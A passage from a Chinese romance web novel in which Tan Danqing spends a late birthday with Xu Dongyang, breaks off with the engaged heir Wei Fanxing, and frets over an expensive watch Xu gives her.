谈丹青是典型的吃软不吃硬的性格,她才不管绪东阳是过来扶她,狠狠一把用力将他推开,身残志坚地单腿跳到沙发前坐下。 她算是看开了。 绪东阳哪里喜欢她?放屁! 要真喜欢她,能指着她鼻子骂她傻缺。 绪东阳就是个没礼貌的小兔崽子。 她噼里啪啦地从茶几下捞医药箱,翻出两张创口贴,敷衍地往脚后跟贴上,然后又到处找她的小零食,“我饼干呢?还有面包!” “你没吃饭?”绪东阳几乎是横眉冷对,浓黑的眉头拧得更深。微微抿在一起的嘴唇,似乎在费劲地往下咽骂人的脏话。 谈丹青是真的又累又饿,没劲儿跟绪东阳吵,暂时没抓着他的语气不放。 “吃了啊,”谈丹青说:“吃了omakase。” “那是什么?”绪东阳皱着眉问她。 “嘿,你不知道吧!我就说你是小土狗,”谈丹青扬眉,说:“是种日料。”她哀哀地叹了口气,“贵得要死要死,分量还很少很少……” 虽说这顿饭最后依然是魏繁星提前付的钱,但她还是觉得肉疼。她手里的钱都是自己赚的,实在见不得白花花的银子就这么流出去吃空气。 绪东阳冷着脸,一言不发地起身去厨房。 谈丹青追问:“你干嘛?” “煮面。” “泡泡面么?”谈丹青有点流口水,“帮我也泡一盒,我要红烧牛肉面口味的。” 绪东阳压根没搭理她,背对着她系围裙。 细细的围裙带勒在他的腰线上,宽肩窄腰的轮廓被灯光投在墙上,像幅剪影画。 男人似乎更适合穿围裙。 谈丹青正想着,手机突然在茶几上震动。 魏繁星发来消息。 繁星:【怎么先回去了?】 Tdq:【今天太晚了。】 魏繁星难得多费口舌,同她解释道:【今晚情况特殊,我大哥回家,我要回老宅见他。】 Tdq:【明白。】 她其实真没怪魏繁星什么。她对魏繁星的不悦,甚至远比不上她对她脚后跟上那块移位了的创口贴。 魏繁星今晚的一切行为,都合情合理—— 她本来就没有他大哥、他家族重要; 他去见他家里人的时候,不方便和她联系,所以没有告诉她也没有回消息; 就连那份带着发票的礼物,也不过是他的处事风格。 所以她完全能理解魏繁星在给她过生日的时候,一句话都不说就将她给抛下。 只是这种理解,她觉得没什么意思。 她被抛下的次数太多了。谈国庆也是这么将她抛下,谈婚论嫁的前男友也是如此。她对被抛弃之后的情感创伤应对得炉火纯青。 童话故事里的水晶鞋或许真的很漂亮,所有人都又争又抢。但她不是什么灰姑娘,也没有什么魔法。 她斟酌着语句:【发个地址给我吧,礼物我想还给你。】 繁星:【什么意思?】 Tdq:【今天我见到你未婚妻了。】 魏繁星是个聪明人,她这边点到为止就好,将话说得太透反而不够体面。 一分钟后,魏繁星回复了。 繁星:【礼物不用还我,本就是送你的生日礼物。如果不喜欢,小票在包装盒里,你可以自行退掉,购置更喜欢的东西。】 繁星:【丹青,二十五岁生日快乐。】 一碗桶装红烧牛肉面,突然重重地搁在她面前的玻璃茶几上,谈丹青蓦地回神。 绪东阳是开火煮的泡面,面条劲道,香辣汤底红彤彤一片。一枚糖心荷包蛋堆在最顶端duangduang直颤,冰箱剩余的牛肉罐头、火腿、切成整齐的方块状,码得整整齐齐,白菜菜心翠绿欲滴…… 这哪是什么红烧牛肉面,这简直就是泡面包装盒上的广告图。 她快饿晕了,掰开一次性筷就吃了一大口,说:“还有吗?” 绪东阳摇了摇头,“没了。” 谈丹青去厨房又拿了一只大碗,给绪东阳分了一半,然后她像贼贼似的将食指抵在唇间,“那我们吃小声点,千万别让小白听到。” 绪东阳看她的眼神,略微有些微妙。 谈丹青便嗔了他一眼,理直气壮地说:“他都长胖了还吃。” “真的很好吃,”不知道是不是饿过头了的原因,一口碳水下去,满足感无与伦比,她咽下荷包蛋里面的糖 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客厅电视机背景音轻缓,只开了很小一盏灯,两人的影子在沙发上离得很近。 “呀,差点忘了,还有重头戏!”她忽地想起了什么,放下筷子,转身从扔在沙发上的贝壳包里掏出一包烟。 白皙纤长的食指与中指夹住一根细长的女士烟,殷红的唇轻轻抿住滤嘴。烟尾被咬住的那一瞬间里,嘴唇唇纹上残余的口红,拓印出浅浅的唇纹,像一副隐蔽的水墨图。 绪东阳的视线不自觉地追寻了这根烟,看着她饱满的嘴唇,是如何轻轻往下凹陷,留下牙齿的痕迹。 “你做什么?”他伸手就夺走了她唇间的烟。谈丹青手指间的打火机都没能点燃。 “我没打算抽烟啊,”谈丹青解释:“今天我生日,我想许愿。” 绪东阳顿了顿,抽走她指间的打火机,然后在关掉客厅沙发旁地灯的同时,按下打火机。 客厅陷入伸手不见五指一团暗夜,紧接着,伴随哒地一声轻响,一簇明媚耀眼的火苗,在绪东阳掌心中绽开。他缓缓举起打火机,送至她的眉心。那团鲜红的火苗在他清冽澄澈的漆黑眼眸中蹿动,也映亮了她的眼睛,仿佛为她捧来了一团火。 “这样许。”他清清淡淡地说。 “好吧,这样应该也凑合。”她合上眼睛,俏皮地双手合十。 火光跳动,浓密卷曲的睫毛在白皙的脸颊上投下扇形的阴影,好似蝴蝶在停留在她的面颊上,奋力挥展着蝶翼。 时间突然流动得很慢,像他掌心那团飘忽的光一样,缓缓在两人之间流淌而过。 他以为谈丹青不会告诉他自己的愿望。 亦或是许愿发大财、嫁富豪。 没想到她那张浸润在温和火光里的脸,唇角寂静无声地荡开温柔的笑,“许愿……许愿我那两个弟弟——” 绪东阳能听到自己的呼吸短暂的停滞,火苗在他瞳孔里晃得更快,像被惊动的萤火。 “能考上想去的学校,前程似锦。” 她说完,抬手拨过耳垂后落下的碎发,然后俯身凑近他的手掌,吹灭打火机上的火苗。 火光嗤的一声灭了。 漆黑里,从她唇间溢出的一股馥郁的香,拂在他的眉心。 22. 第 22 章 老宅夜半,墨绿色的灌木林中蛩鸟声起伏,魏繁星在长廊看手机上谈丹青发来的消息。 繁星:【丹青,生日快乐。】 聊天消息气泡孤零零地停留在这里,没回音。 “还没睡?”低沉的嗓音自身后响起。 “大哥。”魏繁星转身,立定站好。 “没事,”魏晨风摆了摆指缝间的烟头,“我也是出来透透气,你嫂子管得严,不让我抽。” 月光勾勒出相似的轮廓——兄弟俩的眉眼如出一辙,只是魏晨风的线条更硬朗些。 他比魏繁星高了半指,肩背挺括,说话时胸腔里荡出的声音总带着不容置疑的分量。 两人之间横亘了十年的岁月,魏晨风早过了为风月伤神的年纪,联姻娶的妻子,岳父在政商两界的人脉替他铺平了道路。感情不过是锦上添花的点缀。 魏繁星笑笑,说:“嫂子关心大哥身体。” 夜风惊扰廊下,魏晨风掸了掸指尖烟灰,“听贺达说,你最近交了个新女朋友?大半夜躲这儿,是跟她聊天?” “是。”魏繁星将身体的重心从左边换到了右边。 魏晨风睇着弟弟,缓缓吐出口烟圈,状似随意地口问了一句,“听说你这次的女朋友,还是个小老板?这又是在搞什么?” 他这次回国,就察觉弟弟似乎出了点情况。以往他对联姻的女孩儿就不太热衷,但这段时间却是变得非常冰冷。家族最近正在运作老城改造项目,需要联姻助力。如果魏繁星还像现在这样不咸不淡,就难往下推了。 “也没什么,”魏繁星目光落向远处,说:“就是看着她为她那个小公司跑前跑后的样子,挺有意思。” “她公司多大?” 魏繁星改口说,“其实是个工作室。” 营业额太小,具体的数说出来,叫人贻笑大方。 魏晨风爽朗的笑了一声,笑声里带着几分了然和轻蔑。 在他们眼里,谈丹青的服装品牌连一个过家家的玩具都算不上。这种小打小闹的生意,在他们眼里连过家家都算不上。魏繁星十八岁成年进入股市玩炒币的时候,老爷子给他两千万。 魏繁星垂眸看着指间明灭的烟头,忽然意识到自己和大哥想的其实没什么两样。 谈丹青那个寒酸的工作室,廉价的品牌和设计,在他眼里也上不了台面。可奇怪的是,当看到大哥对她露出这种轻蔑的神情,他喉咙里又像卡了根刺。 他不禁为谈丹青说几句好话:“她……她挺有头脑,也有才华,就是出身差了点,现在还在和朋友合伙的阶段。” 魏晨风没什么兴致听,漫不经心地掸了掸烟灰,鼻腔里挤出一声“嗯”,像在听一个无关紧要的汇报,“明白,现在你们流行玩养成系。” 魏繁星一缕青烟消散在空气里,终究没有反驳。 “随你吧,”魏晨风吸完烟,拍了拍身上的烟灰,对弟弟说:“凡事把握一个度。你以前不是做挺好的么?私下想怎么闹就怎么闹,别弄到明面上来就行。老爷子现在身体不好,你的婚事要抓点紧。” “嗯,我知道。”魏繁星截住话头,声音似夜露微凉。 魏晨风进屋后,魏繁星又划亮手机。 对话框依然停留在自己最后那条祝福上。 谈丹青的意思大概是真的想和他断了。 这个认知让他喉头发紧,但他觉得不可能。 谈丹青跟着他亲眼见过他们一夜之间,觥筹交错,就能从股票市场里捞到数以亿计的金钱。她怎么可能还愿意回去一件一件卖内衣? 他不觉得有任何人被他带着走进自己的世界后,还能这么洒脱地离开。一旦尝过云端滋味,就再也回不去泥泞里挣扎的日子。 就像他确信太阳明天会升起一样确信——没有人能拒绝他的世界。 谈丹青也不可能。 * 翌日早,谈小白打着哈欠从卧室出来,“早。” 谈丹青今天心情不错,醒很早,在客厅和绪东阳一起吃早饭,“早。” 谈小白抓着一脑袋乱糟糟的头发,去厨房觅食,口中还嘟嘟囔囔:“我昨晚做梦梦见自己在吃牛肉面,哎哟我去,香死我了,结果醒来一看,流了一枕头口水……” 谈丹青闻言,做贼心虚地和绪东阳对视了一眼。 绪东阳低头喝豆浆,眉梢也颤了颤。 “你就是馋。”谈丹青喝了口豆浆,挤兑了弟弟一句。 谈小白睡眼惺忪地拉开冰箱,下一秒,抄起垃圾桶就冲了出来,—— “谈、丹、青!”他眼睛瞪得像铜铃,冲她兴师问罪:“为什么垃圾桶里有泡面桶?为什么!看着我的眼睛!为什么!Why!” 谈丹青在心里大大地懊恼失策,朝绪东阳嗔了一眼。 责备他没有清理好“案发现场”。 绪东阳敛眉。 这事他真忘了。 “咳咳,”谈丹青从来不被人指责,只有她指责别人。她清了清嗓子,转移话题:“大呼小叫什么?我生日礼物呢?好啊你,我生日都不记得了。” 谈小白果然被带偏了思路,忘记继续追究吃宵夜不带他的事,气鼓鼓地掏出手机,说:“发你微信了啊,哼,自己跑出去玩,理都不理我。” 谈丹青这才点开她便宜弟弟的微信消息。 昨天一大早,谈小白就孝敬了她一个四位数大红包,“嚯,你小子还挺孝顺的。” “那是当然啊!”谈小白摇头晃脑地说。 一点开微信,她关注的公众号就推送来了热点新闻。 避无可避,她看见了铺天盖地的关于魏家的花边新闻。 原来昨晚魏家大哥回国,引起各类小道消息。 广大网友纷纷挖出各种证据,说是因为魏家联姻在即,但魏繁星却还不肯收心,强强联手计划难以落地,于是魏老爷子特意将大哥从海外召回,好好敲打敲打小儿子。 这件事一翻出来,自然少不了重新盘点魏繁星的离任情人:从外貌、身材、以及出演作品三个维度评分,进行优劣排名,好似排名越靠前,嫁入豪门的可能性就越高。 里面倒没出现她的事,大概她身份太低,还不够格作为饭后谈资。 谈丹青手指往下滑动,百无聊赖地随手吃瓜。 这种感觉还挺奇妙,昨晚刚见过的人,今早就成了新闻报道上的一道朦胧的剪影。 配图里,魏繁星正为一位千金拉开车门,侧脸在闪光灯下格外清晰。 忽然,一只深蓝色丝绒礼盒闯入视线。 “嗯?”谈丹青惊讶地抬起头,正对上绪东阳平静的目光。晨光照着他耳际墨黑的碎发,几乎能看见颈侧清晰的绒毛。 “给我的。” “嗯。”绪东阳声音和态度总是这么冷淡,随手递给她礼物,像扔给她一张餐巾纸,多一句话都懒得说。 他起身端上空食盘就往厨房走,背影挺拔得像棵白杨,连后颈上那截凸起的骨节都透着股冷淡劲儿。 谈丹青完全没想到绪东阳也会给她准备生日礼物。 不过任何时候,收到礼物都是件很开心的事。 她眼睛一亮,将手机扔到一边,满心欢喜地拆包装袋, “让我看看小土狗给我准备的生日礼物是什么!” “自己看。”绪东阳压根不多搭理她。 谈丹青喜滋滋地打开包装,非常小心没将礼盒撕坏。 绪东阳给她准备的生日礼物是一块很漂亮的女士手表。 她对手表品牌没什么研究,只觉得这块表很好看,亮晶晶的,很有质感。 她立刻将手表往手腕上套,但背后的表链设计精细,她单手不好扣紧,扣了好几次,都散开了。 “诶……” 绪东阳本来站在厨房门口看她,看她失败了好几次,实在看不下去,朝她伸出手。 他的手又厚又大,粗糙的虎口圈住她的手腕,还多出了一根指节。 表链在他的手里变得服服帖帖,他缓缓推紧扣环,金属搭扣"咔嗒"的声响格外清脆。 买下这块表的时候,他就构想过这块表圈在谈丹青手腕上会是什么样子,那时脑中的幻想,远不及实物的百分之一。 谈丹青的手腕纤细得惊人,银色的表链松松环在上面,随着她晃手的动作轻轻滑动,像一泓月光缠绕着雪白的细瓷。表盘折射出的细碎光斑在她腕骨上跳跃,衬得那片肌肤几乎透明。 粗糙的指尖刮过细腻的手腕,像磨砂纸打磨过稚嫩的贝壳。 他很快收回了手,“是暗扣。” “原来如此,”戴好后,谈丹青眉开眼笑,在绪东阳眼前晃了晃手,表盘在晨光里折射出细碎的光斑,表链碰撞发出清脆声响,像夏日檐角的风铃。 “很好看啊!以后再也不叫你是小土狗了,审美还挺好的!”她举起手腕对着阳光端详,睫毛在脸颊投下细碎的阴影,嘴角翘起的弧度俏皮可爱。 绪东阳没说什么,起身去玄关处系鞋带,单肩背包,然后喊了谈小白上学,“走了。” * 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谈丹青极小幅度地点了点头。 “我的天啊,我杂志呢?杂志!”郑芳喊叫了起来。 她对奢侈品深有研究,很快就从公司杂志架上取下一本顶奢杂志,翻到一页,停下指给她看—— “看见了吗?香港电影里面,古惑仔犯事跑路的时候,带着换钱的玩意儿,就是这个!” 谈丹青瞪着杂志海报,有些不可思议。 “到底是谁送你的啊?”郑芳问。 “绪东阳……”谈丹青喃喃自语。 这么贵重的东西,就这么敷衍地甩在她面前,甚至都没有暗示她这东西有多贵。 但凡她知道,她都不会收下还戴上。 她一时忍不住责怪起绪东阳来。 小孩就是小孩,不懂事。 什么人送什么礼;什么关系送什么礼,这中间都有一个度。同事之间送咖啡券,闺蜜之间送口红香水,恋人之间送珠宝鲜花——每样礼物都明码标着关系的深浅。就像跳舞,进一步是暧昧,退一步是生疏。这个度就叫约定俗成。 但凡过了这个度,就是踩错了步调,收礼的人为难;送礼人,出力不讨好,捧着满腔的爱意送出去,对方甚至只会踩在脚下践踏。 他太年轻了。 没心机没手段没套路。 不及魏繁星十分之一的老练。 “绪东阳?”郑芳也大吃一惊,还以为自己听错了,“他……他不是还在上学吗?学生哪里有这么多钱?” “是啊……”谈丹青心乱如麻,不知说什么好。 “这小孩儿……”郑芳欲言又止,“他挺喜欢你的吧。” 谈丹青没说话。 “他家里知道么?”郑芳又问。 谈丹青摇了摇头。 她开始担心,手表可能是绪东阳偷他家里的东西,就像幼儿园的小孩儿谈恋爱,偷父母的金手链送给小女朋友。 谈丹青上网查了一圈,总算弄清楚这块手表的市场价格和二手市场价格。 表绝对是真的。 24k真。 只是不知道是二手市场买的还是商店买的。 她还纳闷,绪东阳每天只穿运动鞋和运动卫衣,怎么突然挑女士饰品的品味这么好了。闹了半天,原来他选这款,跟这款好看毛线关系都没有。他选这款是因为这款最保值,二手市场价格已经涨得比原价还高了。 手表成了一块烫手山芋。 谈丹青再不敢戴,收进皮包里。 * 一整天,谈丹青都心神不宁。 她觉得这件事很是棘手。她不想伤了绪东阳的心,但又必须让他意识到这件事的严重性。 晚上回家前,她给谈小白发消息,让他去很远的一家超市买东西。 谈小白哼哼唧唧:【到底为什么要我去这么远的地方啊。】 Tdq:【我就要这个,买不到别回来。】 小白打游戏不小白:【嘤……】 支开谈小白,谈丹青又给绪东阳发消息。 Tdq:【今天一下晚自习就给我回来。】 Leo:【嗯。】 谈丹青开车赶回家,一进门就看见了绪东阳放在鞋柜上的红色运动鞋。 她换鞋,就去敲绪东阳的房间门,“绪东阳,绪东阳你给我过来。”